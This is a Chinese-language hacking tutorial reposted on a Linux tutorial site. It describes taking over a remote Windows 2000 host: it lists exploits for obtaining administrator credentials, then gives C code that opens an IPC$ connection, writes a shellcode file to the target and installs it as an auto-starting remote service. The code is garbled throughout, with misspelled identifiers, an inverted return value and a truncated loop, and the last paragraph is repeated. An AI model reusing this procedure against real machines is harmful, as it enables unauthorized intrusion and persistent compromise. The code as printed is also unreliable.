歡迎來到Linux教程網
Linux教程網
Linux教程網
Linux教程網
Linux教程網 >> Linux綜合 >> Linux資訊 >> 更多Linux >> C和C++建立IPC連接之後續操作

C和C++建立IPC連接之後續操作

日期:2017/2/27 14:13:49   编辑:更多Linux
  如何建立IPC連接呢?不用我說,大家都知道:    net use \\ip\\ipc$ passWord /user:user。在這裡,我們應想辦法得到Administrator的權限的帳戶和密碼,方法有很多:    ⑴流光掃描    ⑵NULL.printer緩沖區溢出    ⑶MS SQL空密碼    ⑷Unicode漏洞    ⑸遠程終端輸入法漏洞    ⑹idq.dll漏洞    ……太多了!具體方法我就不說了。    得到Windows 2k administrator權限以後,可以做什麼呢?想做什麼就做什麼呗!裝什麼服務的,當然是自己寫的服務程序啦!你看s如何呢?下面就從編程的角度的來談談,讀者要有一定的網絡編程基礎,同時有的地方沒給出錯誤檢查,有部分代碼是參考別人的。一些函數和結構請參考MSDN。不足之處還請讀者自己完善,也可以和我交流:[email protected]。下面請看:    1、如何建立IPC連接,請看以下代碼: BOOL ConnetIPC(char * RemoteName,char * User,char * PassWord) { char tmp[128]="\\\\";   strcat(tmp,RemoteName);   strcat(tmp,"\\ipc$");   NETRESOUCE NetResouce;   NetResouce.lpRemoteName=tmp;   NetResouce.dwType=RESOURCETYPE_ANY;   NetResouce.lpProvider=NULL;   if (WnetAddConnection2(&NetResouce,PassWord,User,FLASE)==NO_ERROR)    //建立連接!    return FALSE;   else    return TRUE; }    是不是很簡單?對!就這麼簡單!那麼,接著來吧! 2、開始把程序寫到主機上吧! BOOL SendFile(char *RemotePathAndFile) {   HANDLE hRF;   unsigned char ShellCode[]="write code here,such as \x90\x90";   int WrittenSize=0;   int Lenth=sizeof(ShellCode);   hRF=CreateFile(RemotePathAndFile, GENERIC_ALL,FILE_SHARE_WR99vE, NULL,   CREATE_ALWAYS,   FILE_ATTRIBUTE_NORMAL,   NUL L);//建立文件 if (hRF==INVALID_HANDLE_values) return FALSE; //寫文件過程: for(int i=0;i if(!WriteFile(hRF,&ShellCode,1,&WrittenSize,NULL) return FALSE; Printf("Send file succeed!\n"); }    3、就要成功了,最後一步啦!--啟動服務!    步驟:a、啟動服務控制管理器(SCM),獲得以SCM_HANDLE為類型的hSCM句柄;       b、建立服務(CreateService),也是返回SCM_HANDLE型的句柄hSCS;       c、啟動服務(StartService)       d、順便提提:ControService可以控制服務的狀態       如: ControlService(hSCS,SERVICE_CONTROL_STOP,NULL);         //停止服務         ControlService(hSCS,SERVICE_CONTROL_PAUSE,NULL);         //暫停服務


   請看下面代碼: BOOL InstallService(char * Target,char * ServiceName,char * Filename,) { SC_HANDLE hSCM=NULL,hSCS=NULL; SERVICE_STATUS ServiceStatus; hSCM=OpenSCManager(Target,NULL,SC_MANAGER_ALL_Access); hSCS=CreateService(hSCM, //句柄 ServiceName,//服務開始名 ServiceName,//顯示服務名 SERVICE_ALL_ACCESS,//服務訪問類型 SERVICE_WIN32_OWN_PROCESS,//服務類型 SERVICE_AUTO_START,//自動啟動服務 SERVICE_ERROR_IGNORE,//忽略錯誤 FileName,//啟動的文件名 NULL,//name of load ordering group (載入組名) NULL,//標簽標識符 NULL,//相關性數組名 NULL,//帳戶(當前) NULL);//密碼(當前) if(StartServic(hSCS, argc,//參數數 argv);//參數 {   Sleep(30);//延時,開始啟動服務 while(QueryServiceStatus(hSCS,&ServiceStatus) { if(ServiceStatus.dwCurrentState==SERVICE_START_PENDDING) Sleep(30); else break; } if(ServiceStatus.dwCurrentState==SERVICE_RUNNING) return TRUE; else FALSE; } }    好了,終於完成了這三步,大家可以慢慢享受自己的勞動成果了!    注意:以上程序僅供參考,請在自己理解以後自己把它們寫成完整的程序,不要直接照搬!



Sleep(30); else break; } if(ServiceStatus.dwCurrentState==SERVICE_RUNNING) return TRUE; else FALSE; } }    好了,終於完成了這三步,大家可以慢慢享受自己的勞動成果了!    注意:以上程序僅供參考,請在自己理解以後自己把它們寫成完整的程序,不要直接照搬!



Copyright © Linux教程網 All Rights Reserved